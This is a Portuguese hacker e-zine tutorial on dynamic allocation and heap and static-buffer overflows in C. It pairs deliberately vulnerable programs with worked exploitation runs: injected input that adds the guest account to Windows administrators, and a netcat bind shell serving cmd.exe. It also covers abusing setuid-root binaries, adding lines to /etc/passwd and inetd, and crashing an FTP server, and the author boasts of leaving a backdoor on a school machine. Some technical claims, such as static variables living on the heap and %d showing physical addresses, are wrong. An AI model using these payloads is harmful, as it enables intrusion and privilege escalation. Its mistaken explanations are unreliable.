Enfim, alocacao dinamica como o proprio nome ja da a entender, nada mais eh que voce alocar/reservar "memoria" ('nesse caso') para determinadas constantes que sao passadas pelo usuario do programa em tempo de execucao (O termo tempo de execucao "refere-se" a eventos gerados durante a execucao de um programa) por exemplo. A funcao em C utilizada p/ tal se chama 'malloc()', esta eh a 'principal', mas existem outras funcoes tambem. Aproveitando a deixa vou adaptar umas coisas que eu escrevi sobre o curso d 'C' para a C.O.D.E , p/ eu nao ter que fazer tudo do zero. Veja uma declaracao de ponteiro do tipo 'char': char *pointer; Esse pt nao tem 1 tamanho de dados definido, eu vou mallocar/alocar memoria p/ ele e apos isso ele "pode armazenar" 5 bytes na memoria, veja: pointer=(char *)malloc (sizeof (char) * 5); Lembram do sizeof()? Ele retorna um tamanho de variaveis, matrizes ou retorna o tamanho de tipos, mas isso vc jah sabe. Ja q sei que 1 char equivale a 1 byte, eu faco o mesmo que dizer: 1 * 5. Nesse caso eu vou estar trabalhando com o valor de "retorno" do operador sizeof(). O '(char *)' acima eh um typecast q estah ali somente p/ indicar que os dados q serao alocados no ponteiro sao bytes p/ caracteres, ou seja, o valor d "retorno da malloc()", q eh o numero de bytes q serao alocados, serah convertido em char, pois o ponteiro eh do tipo char, lembra (char *pointer)? Humm.... Entao apos isso o ponteiro "pode armazenar" 5 bytes, pois a memo- ria acaba d reservar estes ehehhe (Continue lendu!!!). Vamos a um exemplo de alocacao d dados e "controle" d dados q serao passados para o ponteiro. Veja q eu determino a quantidade de dados antes da funcao 'malloc()', digamos q essa alocacao NAO Eh TAO DINAMICA ASSIM auhauah!! Mas ilustra bem cm vc deve proceder com seguranca caso queira evitar o "Heap overflow", sem abrir mao d usar a func 'malloc ()' e trabalhar com ponteiros, eheh. -- cut -- #include #include #define says printf main (int argc_do_capeta, char **argv_do_capeta){ if (argc_do_capeta != 2){ says ("Uso: %s ",*(argv_do_capeta)); exit (-1);} if (strlen (*(argv_do_capeta+1)) > 5){ fprintf (stderr, "Fuck, teu nome nao tem 5 letras, tem mais XD\n"); return 0;} char *pointer; pointer=(char *)malloc (sizeof (char) * 5); strncpy (pointer, *(argv_do_capeta+1), 0x05); says ("Oi "); puts (pointer); free (pointer); // A funcao 'free()' libera a memoria alocada } -- cut -- Result in the windows: C:\>mac.exe Uso: mac.exe C:\>mac.exe David Oi David C:\>mac.exe David2 Fuck, teu nome nao tem 5 letras, tem mais XD C:\> Ei, obvio que o argumento da funcao malloc() trabalha com constantes/valores inteiros, viu? Exemplo de alocacao realmente dinamica ehehe Eiii, onde esse negocio eh armazenado? Quero dizer, os bytes mallocados. Se nao eh na stack. Eh no Heap amigo! Huahauh!!! ----------- strdup (); ----------- bah! Todo mundo reclama que eu nao passo prototipos tecnicos, que saco, ta ae entaum: char *strdup (const char *string); <-- ^^ Resumindo tudo XD: strdup (string); O que essa funcao faz eh basicamente alocar espaco na memoria referente a string e depois retorna um ponteiro para, a, dita, cuja. Essa funcao faz a mesma coisa que o malloc(), soh que, ao invez de alocarmos memoria com o malloc() e depois usarmos funcoes auxiliares para copia de dados, nos usamos o strdup() q ja aloca e copia tudo de um vez daí ;) Com strdup nao precisamos dessa frescura toda que o malloc nos obriga a fazer XD... -- cut -- main (){ char *pointer; pointer= strdup ("Hail Silver! OO Ou algo assim \\O/"); /* Retorna a string devidamente alocada daí ;) */ puts (pointer); // Imprime a string na tela free (pointer); // Libera a memoria alocada (Na heap) } -- cut -- Com relacao ao static, basta voce saber que isso: static char buffer[10]; Ira alocar 10 bytes "na heap", pois variaveis declaradas como 'static'as, alocam espaco na memoria p/ abrigar dados, na regiao chamada de heap! Para saber para que serve declarar variaveis como estaticas e essas coisas, recomendo a leitura de uma boa apostila d C. Agora vamos realmente ao q interessa, p/ sabermos como funcionam os exploits de heap overflow! 5.0 - Humm... Entao isso eh que eh o Heap Overflow - Leiam logo isso amigos! Primeiramente vamos lembrar oq diabo eh buffer overflow: Extraido da e-zine C.O.D.E 0x02: -- corte aqui -- .... char variavel[7]; < --- > tipo variavel[buffer]; Vale lembrar que cada caractere que uma variavel do tipo char armazena equivale a 1 byte, entao a string "luzinha" conterah um total de 7 bytes sem contar com o terminador de string (\0). Sempre temos que reservar um byte no buffer para o terminador nulo (\0), ou seja, deve ficar assim: char variavel[8] = "luzinha\0"; Acima definimos que a variavel de nome 'variavel' seria do tipo char e armazena- ria 8 bytes, ou seja, a variavel teria um buffer ( local de armazenamento ) que suporta 8 caracteres, pois vale lembrar que um caractere equivale a 1 byte. Voce deve estar curioso para saber de um detalhe, vamos supor que voce está me pergun- tando isso: Mas se eu inserir mais bytes que esse buffer suporta, o que acontecerá? Caso voce insira mais dados que um buffer pode suportar aparentemente nao acon- tece nada, pois o programa irá aceitar, mas ocorre o chamado buffer overflow, ou simplesmente, estouro de buffer. Onde podemos dizer de certa forma que acontece uma 'explosao', mas a explosao vai ser na pilha, mas esse essunto estah longe de ser o focu principal dste paper. Na proxima edicao da C.O.D.E vai ter uns papers maneiros onde meu amigo darkmoon vai tentar passar pra voces uma boa base de desenvolvimento de shellcode (isso se ele arrumar tempo ^^), pois eh necessario aprender desenvolver shellcodes para a 'exploracao da falha' de estouro d pilha. Gente, nao pensem que eh facil desenvolver shellcodes, todo mundo que meche com isso hoje ja sentiu "MUITA" dificuldade, mas posso adiantar ai como se previnir o buffer overflow, simples: Nao use funcoes perigosas, ponto ^^. Nao quero assustar vc's POR ENQUANTO, pois algumas funcoes eu ainda vou ensinar ^^, tipo assim galera, posso ensinar uma unica maneira d prevencao agora, soh p/ voces nao falarem que minha zine eh d pessima qualidade (heheh) vejam esse code: -------- overflow.c -------- #include main (void){ char str[3]; printf ("Estoure meu buffer [size buffer:3]:"); gets (str); printf ("%s",str);} ---------- cut ---------- Vamos ver onde acontece os sonhos ^^. Resultado: C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:ab < -- 2 caracteres + o terminador \0 = 3 (Normal =) ab C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas o programa ainda não deu pau 1234567891011 C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer Olha que mensagem legal que o windows me deu 'depois que eu digitei a ultima string': O overflow.exe encontrou um problema e precisa ser fechado. Mensagem legal ;-) -- corte aqui -- Voce ja sabe como "acontece" o stack overflow, ou como eh comumente chamado Buffer overflow, depois escrevo algo ensinando a exploitar. Agora vamos ver o tal do Heap overflow ehehe. Quando alocamos dados dinamicamente esses da- dos ficam na area de memoria chamado de Heap, esses dados sao alocados um depois do outro. Se eu criar uma aplicacao que alocada memoria em uma regi- ao da Heap e nessa mesma aplicacao conter outra instrucao que tambem aloca memoria por la, os dados vai ser armazenados um depois do outro... Hummm... ehehhe. Vamos suporque eu eu malloco 10 bytes na Heap: char *pointer; pointer=(char *)malloc (10); Eu agora to afim de alocar mais 10. char *pointer2; pointer2=(char *)malloc (10); Eles vao estar um dpois do outro na memoria (Heap)! Achu q eu tenho que me tratar, esta compulsao por ensinar vai me matar um dia Huahuahah!! Veja um outro exemplo no windows. Compile este fonte: -- cut -- #include main() { char *pt1, *pt2; pt1 = (char *) malloc (10); pt2 = (char *) malloc (8); system ("cls"); strcpy (pt1, "012345678"); strcpy (pt2, "1234567"); int i=0; fprintf (stdout, "\nCaractere --- Endereco Virtual\n\n"); for (i;i<= strlen (pt1);++i) printf ("%c --> %x\n", pt1[i], &pt1[i]); puts (""); for (i=0;i<= strlen (pt2);++i) printf ("%c --> %p\n", pt2[i], &pt2[i]); } -- cut -- Vamos executar a aplicacao (O caractere ao lado esquerdo do resultado diz respeito ao "caractere" contido no endereco ao lado deste, \O/): Caractere --- Endereco Virtual 0 --> 3d24b0 1 --> 3d24b1 2 --> 3d24b2 3 --> 3d24b3 4 --> 3d24b4 5 --> 3d24b5 6 --> 3d24b6 7 --> 3d24b7 8 --> 3d24b8 --> 3d24b9 1 --> 003D2448 2 --> 003D2449 3 --> 003D244A 4 --> 003D244B 5 --> 003D244C 6 --> 003D244D 7 --> 003D244E --> 003D244F C:\>_ Hummm... Num to vendo sequencia nos enderecos virtuais do pt's ai naum fox! Ta me enganando! Canalha! Huahuahauh!!! Dois detalhes seguem agora: Veja o o %p mostra os enderecos (VIRUTAIS ;) de memoria em um formato completo (0x00000008), enquanto o %x apenas mostra os enderecos de memoria virtual "utilizados". Outro detalhe 'interessante' eh o seguinte: #include main() { char *pt1; pt1 = (char *) malloc(sizeof (char) * 10); // Se a malloc() nao conseguir alocar o numero de bytes na memoria ela retorna um NULL (0) if (!pt1){ fprintf (stderr, "Putz! Vc nao tem 10 bytes livres na memoria?\n"); exit (-1);} fprintf (stdout, "\n\"Caractere\" -- Endereco Virtual\n\n"); strcpy (pt1, "138ABCJ"); int i=0; for (i;i<=strlen (pt1);++i) printf ("%c --> %x\n", pt1[i], &pt1[i]); } Resultado: C:\>heap "Caractere" -- Endereco Virtual 1 --> 3d24b0 3 --> 3d24b1 8 --> 3d24b2 A --> 3d24b3 B --> 3d24b4 C --> 3d24b5 J --> 3d24b6 --> 3d24b7 C:\>_ Acho que voce sabem que o '&' ('E' comercial) 'retorna' o endereco de memoria d variaveis, enderecos esses q vao ser lidos (%x) rsrs... da! ==============-------------------======================------------- Nao quero saber d outro exemplo! Cade a sequencia dos enderecos fox! ==============-------------------======================------------- huahuhauh!! Eu sou doidu, falo comigo mesmo hauhauhh!!! Hahuah!!! ¬¬ Cof!! Cof!! Desculpem ae... Rum! Bem amigos, vamos 'finalmente' ver como ocorre o Heap Overflow, dpois eu explico a questao da sequencia dos enderecos q insisti em frizar o txt todo, p/ vc entender melhor!!!! <- Estouro de texto rsrsrsrsrsrsrsrsrsrsrsrsrsrsrsrsrsrsrsrsrsr (E estouro de linha dependendo das dimensoes do seu visualizador kkkkkkkkk!!!!)... Como vc viu no comeco deste capitulo, declarei uma matriz de carac- teres (string), lah vc viu q marcamos o inicio do buffer e o final, se passarmos desse limite ocorre o estouro de buffer, mas... 'E' no Heap overflow? O 'Estouro de Heap' ocorre de forma similar, soh q ao inves de inserirmos mais dados em um buffer, nos inserimos + dados que 1 ponteiro mallocado pode armazenar, e isso faz com q estouremos os limites de memoria reservada para um ponteiro (Viram!!!? Consegui explicar a mesma coisa de duas formas diferentes!! Hauhauh!!!) assim chegando ao endereco do ponteiro que foi mallocado vizinho a este. O nome 'Heap Overflow' quer dizer q vamos estourar os enderecos de um pt mallocado "na heap", pois os dados alocados (mallocados()') dina- micamente na memoria, ficam nesta area, junto com as variaveis esta- ticas. Com relacao a sequencia: Na verdade a sequencia existe na 'memoria fisica' eheheh, e nao na virtual, na virtual apenas existe uma sequencia explicita em enderecos virtuais de matrizes XD. P/ ver o endereco "fisico" de uma variavel, matriz ou algo do tipo rsrss... use o codigo de controle %d. Ei, tabom, o que tem demais em estourar o heap? Hummm... Essa eh facil, imagine uma programa q malloca dois ponteiros, esse mesmo programa pega dados digitados pelo usuario do e copia os mesmos p/ o primeiro ponteiro, o segundo ponteiro eh usa- do para executar um comando do 'system'a logo apos a copia de dados para o primeiro ponteiro, esse segundo ponteiro ou variavel estatica eh mallocado depois do primeiro na heap, se nos enchermos o primeiro ponteiro de dados vamos alcancar o endereco do segundo ponteiro, no qual contem o comando do sistema. Vamos supor q, enchemos o pt1 e ao final deste escrevemos um comando qualquer, ei, mas esperem ai, es- taremos escrevendo no endereco onde fica armazenado o comando, humm. Sacow? Nos vamos "estourando a Heap" ateh alcancarmos o endereco da instrucao q sera executada pela system(), isso faz com q a system() acabe executado o que nos inserirmos! Se este programa trabalhar com SetUID nos podemos rodar comandos que apenas o root pode!!! Vou mos- trar um exemplo de exploracao simples, no qual sobrescrevemos o en- dereco da instrucao seguinte, mas por favor levem em conta o seguin- te trecho: "'estourando a Heap'" Nao posso falar mais do que isso, pois aposto que se eu continuar a falar sobre esse "estourando" vai haver 1 verdadeiro caos na inter- net. Usem a cabeca p/ saber oq eu quis dizer com esse "estourando". "Estourando ateh alcancar ;)" < --------- Seu primeiro contato com exploracao de bug --------- > < --------- Bem vindo ao meu mundo --------- > Heap overflow - Sobrescrevendo pointers..: -- cut -- #include #include main (){ char *pointer_one; char *pointer_two; pointer_one= (char *) malloc (10); pointer_two= (char *) malloc (10); system ("cls & color a"); printf ("Endereco fisico de pointer_one: %d\n", pointer_one); printf ("Endereco fisico de pointer_two: %d\n", pointer_two); puts (""); fprintf (stdout, "Endereco virtual de pointer_one: %p\n", &pointer_one); fprintf (stdout, "Endereco virtual de pointer_two: %p\n", &pointer_two); sprintf (pointer_two, "echo Bem vindo a %s manoh!", "Matrix"); puts ("\nMe diga seu nome:"); gets (pointer_one); system (pointer_two); } -- cut -- Execucao normal do programa: Endereco fisico de pointer_one: 4007096 Endereco fisico de pointer_two: 4007120 Endereco virtual de pointer_one: 0022FF74 Endereco virtual de pointer_two: 0022FF70 <--- Lembra q 1 ponteiro ocupa 4 bytes na memoria? Me diga seu nome: David Bem vindo a Matrix manoh! C:\> Agora amigo, repare nos enderecos acima. 4007096 --> pointer_one 4007120 --> pointer_two A heap armazena dados do menor endereco para o maior nesse caso. Veja que o primeiro ponteiro declarado foi a pointer_one, portanto ele que serah alocado primeiro. Repare agora que o pointer 'pointer_two' se inicia exatamente 24 (ui) bytes dpois do buffer1... Ei! Espera ai!!!! 4007096 + 24 = 4007120 (4007120 eh o endereco de pointer_two!) Nao lembro de ter mallocado 24 bytes (¬¬)... Na verdade "nos" apenas malocamos na heap 10 bytes, o q acontece eh que esses 14 bytes adici- onais sao usados pela syscall (chamada de sistema eheeh!) 'malloc' p/ permitir q a memoria retorne ao uso geral quando a mesma for liberada ('free()'), esses bytes extras variam de acordo com o ambiente. Agora vamos exploitar? C:\>call heap_overflow.exe Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_two: 4007128 Endereco virtual de pointer_one: 0022FF74 Endereco virtual de pointer_two: 0022FF70 Me diga seu nome: Meu nome e 6_Bl4ck9_f0x6net localgroup administradores convidado /add Comando concluído com êxito. C:\>net localgroup administradores Nome de alias administradores Comentário oi oi oi Membros ------------------------------------------------------------------------------- Administrador Convidado David Comando concluído com êxito. C:\> Pimba!! ps: Meu nome vai ate o 6 viu gente ^^ rsrsr... O 'net localgroup administradores convidado /add' eh o comando que eleva os privilegios da conta d convidado. Eh simples: 'net' (digit net /?' para ver um leque de possibilidades q o windows dispoe, sao muitas amigos) localgroup (parametro do 'net' q visualiza e modifi- ca infos d grupos) administradores (Grupo d admins) convidado (nome da conta que eu to afim de inserir no grupo de admins) /add ('add'- icionar o user convidado ao grupo d admins ;) rsrs... Leiam os tais parenteses! eheheh Repare no seguinte parceiro: Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_two: 4007128 O pointer2 comeca 24 bytes depois do primeiro, entao se digitarmos mais de 24 caracteres (cada caractere equivale a 1 byte) vamos es- toura o Heap! Heap overflow!!!! Estouro de Heap!! Heap Heap, Urra! Heap Heap, Urra! Pois esses enderecos acima sao os enderecos do Heap! Tabom, tabom... acho que nao precisa mais repetir, por favor entenda esse texto amigo! A cena hacker Brasileira precisa de vc!! ¬¬ Veja parceirao! Meu nome e 6_Bl4ck9_f0x6net... 0123456789ABCDEF01234567 Para os estupidos que ainda nao sacaram o lance do hexadecimal: Meu nome e 6_Bl4ck9_f0x6net... 123456789'123456789'1234 ^________^^________^^__^ | | || 10 bytes 10 bytes 4 bytes = 24... Entao o 'n' ja vai estar no endreco do comando!! Bem, ja que sabemos que a funcao system() executa o comando q esta no endereco 4007128, q esta localizado ao lado do pointer_one, "ja q ele foi declarado" depois deste, entao nos alcancamos o endereco de memoria deste sem misterio. Mas... E se nos quisermos exploitar uma app que tem 1 pointer q executa uma funcao no sistema 50 bytes depois deste? A, essa eh facil, use a logica, va corrompendo a me- moria ate vc encostar neste endereco. Veja um exemplo: #include #include main (){ char *pointer_1, *pointer_2, *pointer_3, *pointer_4, *pointer_5; pointer_1 = (char *) malloc (10); pointer_2 = (char *) malloc (10); pointer_3 = (char *) malloc (10); pointer_4 = (char *) malloc (10); pointer_5 = (char *) malloc (10); system ("cls & color a"); printf ("Endereco fisico de pointer_one: %d\n", pointer_1); printf ("Endereco fisico de pointer_5 : %d\n", pointer_5); puts (""); sprintf (pointer_5, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); gets (pointer_1); system (pointer_5); } Endereco fisico de pointer_one: 4007104 Endereco fisico de pointer_5 : 4007200 Me diga seu nome: Meu nome eh 6_Bl4ck9_f0x6 pOrr4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! '!!!!!!!' não é reconhecido como um comando interno ou externo, um programa operável ou um arquivo em lotes. C:\Documents and Settings\David> Opa, vamos voltar !!!!!!! bytes eheheh. Isso eh igual a 7 bytes, pode contar rsrs. Volte 7 bytes e digite o comando =). Tabom, oq tem demais nisso?? Hummm... Imagine esse bug em um servidor cara! Que tal SMTP? Nao vou escrever um servidor porque vc nao deve ser! Um escroto burro! E pq tenho q ir na casa de um amigo daqui a pouco! Jogar video game e comer pipoca! O dia inteiro e a noite tb!!! Nos ja compramos os jogos! Ae Guilherme! Um abraco manoh!! Eu nao estou gritando com voce! Eu estou em completo silencio para nao acordar minha namorada! Eh so o '!' que da essa impres- sao!! kkkkkkkkk... Vamos sobrescrever variaveis estaticas agora! Exemplo pratico. Variaveis estaticas: -- cut -- #include #include main (){ static char name[20]; static char command[50]; system ("cls & color a"); printf ("Endereco fisico de name : %d\n", name); printf ("Endereco fisico de command: %d\n", command); puts (""); // Pra pular uma linha eheh Eu adoro essa func... sprintf (command, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); gets (name); system (command); } -- cut this file here -- Endereco fisico de name : 4210704 Endereco fisico de command: 4210736 Me diga seu nome: 11111111111111111111111111111111nc -l -p 55 -vv -e cmd.exe listening on [any] 55 ... connect to [192.168.1.1] from VIOLATOR [192.168.1.1] 3022 Olha que legal depois de um "telnet IP PORTA": Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David> Olha o shell ae gente!! Imagine um servidor de SMTP!! Imagine enserirmos linhas no inetd no unix/linux com o comando echo!! Pois os privilegios do programa tem muita probabilidade de ser de usuario root (obvio, da!)! Existem "muitos" adm's que usam o netcat como cliente para coisas, o cara q eh sysop (System operator, operador de sistema) da rede da minha escola por exemplo, ele instala o netcat no linux estudantil... E isso me da acesso ao windows la da biblioteca, deixei a porta 23 la manoh! Eu tenho acesso aos livros mais lidos pelas gatinhas!!!!!! Ei ei ei... Esse negocio de 'Unix/Linux' me fez lembrar de uma coisa... Humm... Antes vamos ver cm se proteger de heap overflow: Simples, nao use as tais fun- coes perigosas, pountu! ehehe. Olha la em cima manoh.....:) Ao invez de usarmos a funcao gets() p/ pegar os dados e passar p/ as variaveis, usamos a funcao tal da fgets() por exemplo, pois a gets nao controla os dados que sao passados para os buffers. Veja 1 tabela d funcoes perigosas e de funcoes que substituem elas. +-------------------+-------------------------------------------+ |Funcao "perigosa" | Solucao? Dexa p/ o proximo txt eheheh }=) | +-------------------+-------------------------------------------+ | sprintf() | snprintf(destino, numero_bts, origem); | +-------------------+-------------------------------------------+ | gets() |char *fgets (char *str, int len, FILE *pt);| +-------------------+-------------------------------------------+ | scanf() | Use especificadores de tamanho!! | +-------------------+-------------------------------------------+ | strcpy() | strncpy() | +-------------------+-------------------------------------------+ | strcat() | strncat() | +-------------------+-------------------------------------------+ Enfim, vamos resumir esse treco, toda funcao que copia dados eh perigosa, e cabe a voce, com seus conhecimento em C (ehhe), achar uma funcao para subs- tituir ou controlar os dados que serao copiados. Veja: -- cut -- #include #include main (){ static char name[20]; static char command[50]; system ("cls & color a"); printf ("Endereco fisico de name : %d\n", name); printf ("Endereco fisico de command: %d\n", command); puts (""); // Pra pular uma linha eheh Eu adoro essa func... sprintf (command, "echo Bem vindo a %s!", "Matrix"); puts ("\nMe diga seu nome:"); fgets (name, 5, stdin); // <-------- Repare aquiiiiii!!! system (command); } -- cut -- Me diga seu nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Bem vindo a Matrix! C:\> Ele vai copiar apenas 5 bytes para a variavel estatica 'name'. Voce pode eh tentar amigo, nao vai conseguir exploitar esse prog!! Para saber como usar essas funcoes acima fique atento ao curso de 'C' para a C.O.D.E, ou va lah no DK e pegue o comecinho do capitulo do curso de C parte 3 (Onde eu escrevi sobre elas). Ta na sessao C/C++ (Bem, era pra ta lah neh)... wWw.darkers.com.br 6.0 - SetUID? No windows nao tem issu, pode me explicar? ¬¬ Bem, um programa com setuid nada mais eh que um programa que seta um UID... ¬¬ 46464a5dasd1a3s21das5d4a65s4a8s4d Humm... Deixa eu ver aqui. O que eh um UID?? Bem, UID nada mais eh, como o proprio nome ja da a entender (User IDentifier - IDentificador de Usuario ou 'User IDentification' - IDentificacao de usuario [Chame como preferir]), eh um identificador de usuario, todo usuario cadas- trato em um sistema Unix/Linux tem o seu UID. Tabom, para que serve esse tal d UID? O UID eh um numero frequentemente checado pelo Kernel (Nucleo do sistema) antes de fazer determinadas operacoes. Por exemplo, o UID 0 equivale a usuario root no Linux, este usuario root tem o UID igual a 0 (Eu consegui mais uma vez explicar a mesma coisa de formas diferentes eheh). Quando queremos adicionar 1 usuario no sistema por exemplo, o kernel verifica qual eh o UID do usuario que emitiu o comando adduser por exemplo (Comando p/ add'icionar usarios ao siste- ma), se ele ver o UID 0, ele vai deixar as coisas acontecerem, mas... Se o UID do usuario que emitiu o comando NAO for '0', simplesmente temos ai um 'VC NAO Eh ROOT KCETE!!'. Entendeu? O setuid eh bem simples de ser entendido, este eh o comando para marcar arquivos com setuid: chmod +s /caminho/do/programa Vamos suporque q eu fiz esse procedimento logado como usuario root, entao..... O dito cujo do programa (nesse caso) vai ter o atributo 's' que representa o setuid, nesse caso o programa vai estar COM PERMISSOES DE ROOT!! Tabom, e dai! Quando eu estiver logado com "qualquer outro usuario" no linux, o desgracado vai rodar o "programa" como se fosse o diabo do 'root', "melhor dizendo": ele vai rodar como root! Tan dam! ¬¬ Entao, se eu emitisse o comand adduser e esse diabo de comando/programa estivesse com setuid 0, eu rodaria o infeliz como se fosse o root mesmo sem estar logado como root! E isso significa que eu poderia muito bem inserir usuarios no sistema a torto e eh direito!! Para ver o UID de usuarios digite o comando 'id' (Olha que original) seguido do nome de usuario ou apenas 'id' p/ ver o UID do usario corrente. Exemplo: Black_Fox@Black_Machine:-$ id uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox) Aqui estou logado como usuario Black_Fox, meu UID eh 1002, mas vc ja ta vendo. NAO posso adicionar um usuario no sistema, porque meu UID nao eh zero ehehhe! Huahuah! +... e se o programa adduser, estiver com permissoes d root(setuid)? Eu poderia sim. Mas nao va pensando que os admins deixam o adduser com setuid cara, eles sao maus! Nao deixam nao! Soh eles podem add users! Faca um teste amigo, digite 'su' que eh o comando usado para mudar o usuario atualmente lo- gado na shell (interpretador de comandos), ele vai pedir senha, digite a dita cuja e tecle [Enter], prontu, voce ja esta como root! Ei, se voce quiser se logar com qualquer outra conta basta digitar 'su outra_conta', eh que se voce digita soh 'su', o linux vai inferir q voce quer se logar como root. Ei!!!!!! Por que sera? 'su' eh a contracao de "Super User"? Ou eh Source User? ehehhe. Continuando, ja q vc ta como root, faca isso p/ deixar o adduser com setuid 0 (Que eh o UID do usuario atualmente logado na shell): chmod +s /bin/adduser Isso acima faz com q o EUID do adduser seja setado como 0, pois eh o UID do user que emitiu o comando [*root*]. -- Nota --------------------------------------------------------------------- Agora segue um detalhe interessante de notarmos. Na verdade nao vamos setar o "UID" do usuario corrente, pois programas que trabalham com setuid continuam sendo executados com o 'UID' de seu usuario/executor. Programas com setuid trabalham da seguinte forma: Quando executamos um programa marcado com setuid, o Linux vai olha um atribu- tozinho chamado EUID - Efective User IDentification, ou simplesmente identi- ficador "DE EXECUCAO", que vai estar setado com o UID de um usuario qualquer, 0 nesse caso. Eh essa tal de IDentificacao efetiva de usuario, q vamos setar. Quando executamos arquivos, o kernel olha o UID do user (como jah te falei), se a acao requisitada apenas poder ser feita pelo root vc nao vai poder faze- la se tiver 1 UID maior q zero. Agora files/arquivos marcados com setuid, lhe permitem mais chances de executar um file. Vamos ver des do primeiro passo: 1 - O kernel vai olhar o UID do user, se ele nao deixar porque nao for 0, ele entao vai te dar outra chance, oq ele faz? 2 - Ele olha o EUID - ID de execucao, do arquivo, se lah estiver o tal do UID 0 [*zero*], ele te deixa passar, pois voce vai executar este file com o Super UID, o '0', com este UID voce pode tudo, entendeu? ----------------------------------------------------------------------------- Ei ei ei! Se vc quiser executar um comando como root sem precisar ficar logado na conta, basta digitar o parametro '-c' do 'su', este parametro executa um comando com permissoes de um user e depois retorna ao user que chamou o comando. Exemplo: sh-3.1$ su root -c "comando" Password: <-- Vai pedir senha, obvio!! Digite o root soh por frescura, pois como falei, se nao especificarmos nenhum user, o Linux vai inferir q tu queres executar o comando como root. Agora faca logout desta conta, digite o comando exit para deixar o root e ir para a conta anterior. Agora digite adduser e... ktapimba! Vc ja pode add users no sistema. Agora que voce ja entende oq eh setuid vamos passar p/ os proximos passos, mas antes gostaria que voce "frizasse" bem esse lance de setuid, nos "hackers" de sangue puro, visamos "muito" arquivos com setuid root, se vc eh um bgner ainda vai ver que oq eu estou dizendo tem fundamento quando estiver em um nivel mais avancado no hacking, aprender esse esquema base de SetUID eh importante! Acho q isso voces ja perceberam ;) Mas para quem eh meio "desligadao" ai vai outro exemplo da importancia do setuid: Vamos supor que eu tenho uma 'app' vulneravel a Heap Overflow, ela tem o ID de execucao (EUID) igual a '0', 0 eh o UID do root, isso significa que posso usar este programa p/ executar "meus" comandos no sistema como se fosse o root! Ei! Mas voce tem que seguir o q o programa quer q voce faca fox! Nao nao amigo, eu executo ele e a partir dai eh ele que trabalha pra mim, e nao eu pra ele... ;) 6.1 - Tirando proveito XD Temos acesso a uma conta nao privilegiada no sistema, de alguma forma estamos no sistema. Como todos deviam saber, no Linux portas abaixo de 1024 apenas podem ser aberta por admins/root, mas... Achamos no sistema uma aplicacao com setuid root, ou seja, roda com o bit 'suid'. Esta aplicacao tem um bug d Heap Overflow. Vamos exploita-lo? Que tal abrir portas abaixo d 1024 com o netcat? ******************************************************** [img] http://www.hunterhacker.xpg.com.br/heap.png [/img] ******************************************************** Para ver se um arquivo esta' marcado com bit suid digite ls -l (l vem de long). Isso farah uma listagem completa do arquivo, voce vera' o 's' nas permissoes do file. Voce pode inserir linhas no inetd e pode fazer todo tipo d malandragem q sua mente conseguir imaginar atraves de uma aplicacao bugada. Aqui eu 'soh' to ensinando o que eh Heap Overflow, por enquanto nao to ensinando como achar...;) Eh bastante recomendavel inserir linhas no /etc/passwd quando exploitamos algum bug rsrsr... ;) Vale lembrar que tambem devemos olhar aplicacoes que executam a funcao execl() ao inves de system(), tambem da no mesmo...:) 7.2 - A funcao memset (); - A base dos exploits de D.o.S ------------------------------------------- memset (); set memory - setar memoria ------------------------------------------- Prototipo: memset (string_destino, 'caractere', numero_de_bytes_a_setar); Isso equivale a setar a memoria no endereco (de memoria =) da string de destino. Lembrem que um caractere equivale a um byte... Bem, achu que voces devem saber que a base dos exploits de D.o.S eh enviar um buffer muito grande, "normalmente" (quando se trata de servidores furrecas de FTP rsrs) devemos mandar ('send()') o comando que nao gerencia dados direito la no servidor furado, ou seja, la deve existir um buffer q nao possui um limite d dados p/ copia (buffer overflow), nos mandamos os dados ateh lotar o buffer por la e alcancarmos o endereco d retorno. Hummm... Nao pense que vai ser facil achar o endereco de retorno por lah amigo!! Brevemente estarei lhes mostrando como achar enderecos estaticos...:) "Por hora" vamos soh derrubar. Depois que mandamos muitos dados, ja que nossa intencao nao eh ter acesso ao sistema, o server faz isso: Ai ele cai... pontu! Masss.... Como mandar dados "depois do comando furado" usando o 'C'? E como mandar um buffer suficientemente grande p/ fazer o server entrar em crash? Ae q entra o memset() manoh (Nao entra nesse sentido, seu sujo! :P). -- cut -- #include #include int caracters; main (){ char me_seta_gostosa[50]="Oia ai a putaria: "; // <--- variavel q serah setada rsrs caracters=strlen (me_seta_gostosa); // <-- Atribui o numero de bytes da variavel memset (me_seta_gostosa +caracters, 'S', 0x10); // 10 (hexadecinal) eh igual a 16 em decimal puts (me_seta_gostosa); // Imprime o buffer na tela system ("pause"); } -- cut -- Result: Oia ai a putaria: SSSSSSSSSSSSSSSS Pressione qualquer tecla para continuar. . . Nesse exemplo eu tenho um buffer local que suporta 50 bytes na bundinha, eu poderia enviar o comando seguido do buffer cheio de 'S', mas p/ isso eu te- ria q usar a funcao memset e determinar o numero de byte logo apos o coman- do, pois caso contrario o 'memset()' vai sobescrever o comando, veja este trecho: caracters=strlen (me_seta_gostosa); Veja q eu pego o numero de bytes da variavel caracteres. Agora veja isso: memset (me_seta_gostosa +caracters, 'S', 0x10); Repare q eu comeco a setar a memoria a partir do numero de bytes da variavel caracteres. Repare q utilizo no primeiro parametro da funcao o '+caracteres' ou seja, ele vai a escrever no buffer a partir do numero de letras da varia- vel. Lembrando q espacos em branco entre uma palavra e outra na mesma string equivale como caractere. Veja: char exemplo[]="ABOR "; Veja que existe um espaco depois da letra 'R'... Ah! O sami FTP eh vulneravel a este comando seguido de muitos bytes, nao me lembro qual eh a versao dele. Agora vao 